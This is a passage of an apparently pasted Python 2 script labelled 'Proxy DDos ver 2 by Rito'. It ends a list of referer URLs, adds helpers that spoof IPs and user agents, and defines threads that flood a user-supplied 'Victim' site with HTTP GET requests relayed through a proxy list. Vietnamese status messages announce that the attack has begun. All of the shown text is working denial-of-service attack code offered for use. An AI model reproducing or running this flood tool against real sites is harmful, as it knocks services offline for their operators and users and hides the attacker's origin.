  251. "http://w...content-available-to-author-only...k.com/web?q=",
  252. "http://s...content-available-to-author-only...l.com/aol/search?q=",
  253. "https://w...content-available-to-author-only...m.nl/vaste-onderdelen/zoeken/?zoeken_term=",
  254. "http://v...content-available-to-author-only...3.org/feed/check.cgi?url=",
  255. "http://h...content-available-to-author-only...r.com/check_page/?furl=",
  256. "http://w...content-available-to-author-only...r.com/url/translation.aspx?direction=er&sourceURL=",
  257. "http://j...content-available-to-author-only...3.org/css-validator/validator?uri=",
  258. "https://a...content-available-to-author-only...o.com/rss?url=",
  259. "http://e...content-available-to-author-only...l.com/search?q=",
  260. "https://s...content-available-to-author-only...y.com/market/search?q=",
  261. "http://f...content-available-to-author-only...o.com/search?q=",
  262. "http://w...content-available-to-author-only...t.com/site/pinterest.com/search?q=",
  263. "http://e...content-available-to-author-only...e.net/wow/en/search?q=",
  264. "http://e...content-available-to-author-only...l.com/search?q=",
  265. "http://c...content-available-to-author-only...n.org/search?q=",
  266. "http://t...content-available-to-author-only...t.edu/search?q=",
  267. "http://w...content-available-to-author-only...m.tv/search?q=",
  268. "http://w...content-available-to-author-only...d.com/search?q=",
  269. "http://f...content-available-to-author-only...a.com/search?q=",
  270. "http://i...content-available-to-author-only...h.io/search?q=",
  271. "http://j...content-available-to-author-only...s.com/jobs/search?q=",
  272. "http://t...content-available-to-author-only...p.org/search?q=",
  273. "http://w...content-available-to-author-only...m.vn/news/vn/search&q=",
  274. "https://play.google.com/store/search?q=",
  275. "http://w...content-available-to-author-only...s.gov/@@tceq-search?q=",
  276. "http://w...content-available-to-author-only...t.com/search?q=",
  277. "http://w...content-available-to-author-only...r.com/events/search?q=",
  278. "https://c...content-available-to-author-only...e.org/search?q=",
  279. "http://j...content-available-to-author-only...s.com/search?q=",
  280. "http://j...content-available-to-author-only...g.com/search?q=",
  281. "https://w...content-available-to-author-only...t.com/search/?q=",
  282. "http://m...content-available-to-author-only...r.org/search?q=",
  283. "https://w...content-available-to-author-only...s.com/search?q=",
  284. "http://w...content-available-to-author-only...s.uk/search?q=",
  285. "http://w...content-available-to-author-only...q.com/search?q="
  286. "http://www.search.com/search?q="
  287. "https://add.my.yahoo.com/rss?url="
  288. "https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?container=focus&url="
  289. "https://www.facebook.com/l.php?u=",
  290. "https://www.facebook.com/l.php?u=",
  291. "https://drive.google.com/viewerng/viewer?url=",
  292. "http://www.google.com/translate?u=",
  293. "http://downforeveryoneorjustme.com/",
  294. "http://www.slickvpn.com/go-dark/browse.php?u=",
  295. "https://www.megaproxy.com/go/_mp_framed?",
  296. "http://scanurl.net/?u=",
  297. "http://www.isup.me/",
  298. "http://check-host.net/check-tcp?host=",
  299. "http://check-host.net/check-dns?host=",
  300. "http://check-host.net/check-ping?host=",
  301. "http://www.currentlydown.com/",
  302. "http://check-host.net/check-ping?host=",
  303. "http://check-host.net/check-tcp?host=",
  304. "http://check-host.net/check-dns?host=",
  305. "http://check-host.net/ip-info?host=",
  306. "https://safeweb.norton.com/report/show?url=",
  307. "http://www.webproxy.net/view?q=",
  308. "http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=",
  309. "https://anonysurfer.com/a2/index.php?q=",
  310. "http://analiz.web.tr/en/www/",
  311. "https://plus.google.com/share?url="]
  312.  
  313. def randomIp():
  314. random.seed()
  315. result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
  316. result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  317. return result
  318.  
  319. def randomIpList():
  320. random.seed()
  321. res = ""
  322. for ip in xrange(random.randint(2, 8)):
  323. res = res + randomIp() + ", "
  324. return res[0:len(res) - 2]
  325.  
  326. def randomUserAgent():
  327. return random.choice(userAgents)
  328.  
  329. def randomReFerer():
  330. return random.choice(reFerers)
  331.  
  332. class attacco(threading.Thread):
  333. def run(self):
  334. current = x
  335.  
  336. if current < len(listaproxy):
  337. proxy = listaproxy[current].split(':')
  338. else:
  339. proxy = random.choice(listaproxy).split(':')
  340.  
  341. useragent = "User-Agent: " + randomUserAgent() + "\r\n"
  342. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  343. referer = "Referer: "+ randomReFerer() + url + "?r="+ str(random.randint(1, 1000)) + "\r\n"
  344. httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  345.  
  346. while nload:
  347. time.sleep(1)
  348.  
  349. while 1:
  350. try:
  351. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  352. a.connect((proxy[0], int(proxy[1])))
  353. a.send(httprequest)
  354. try:
  355. for i in xrange(5):
  356. a.send(httprequest)
  357. except:
  358. tts = 2
  359.  
  360. except:
  361. proxy = random.choice(listaproxy).split(':')
  362.  
  363.  
  364.  
  365. #Main
  366. print(" .----. Coding and Security GLA TEAM .----. ")
  367. print("»------(.:.This tool need Proxy list (so much proxy) =]].:.)------»")
  368. print(">----------------------Edit and Update----------------------<")
  369. print(">------------Proxy DDos ver 2 by Rito------------------<")
  370. # Site
  371. url = raw_input("Victim(htttp://www.victim.com): ")
  372.  
  373. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  374.  
  375. #Proxy
  376. in_file = open(raw_input("File proxy(proxy.txt): "),"r")
  377. proxyf = in_file.read()
  378. in_file.close()
  379.  
  380. listaproxy = proxyf.split('\n')
  381. #So luong 1
  382. thread = input("Number Proxy using(1000): ")
  383. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  384. accept = "Accept-Encoding: gzip, deflate\r\n"
  385. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  386. nload = 1
  387. x = 0
  388. for x in xrange(thread):
  389. attacco().start()
  390.  
  391. print "Dang tan cong..."
  392. print "Chuc ban may man..."
  393. print "Ctrl + C de dung tan cong..."
  394. nload = 0
  395. while not nload:
  396. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement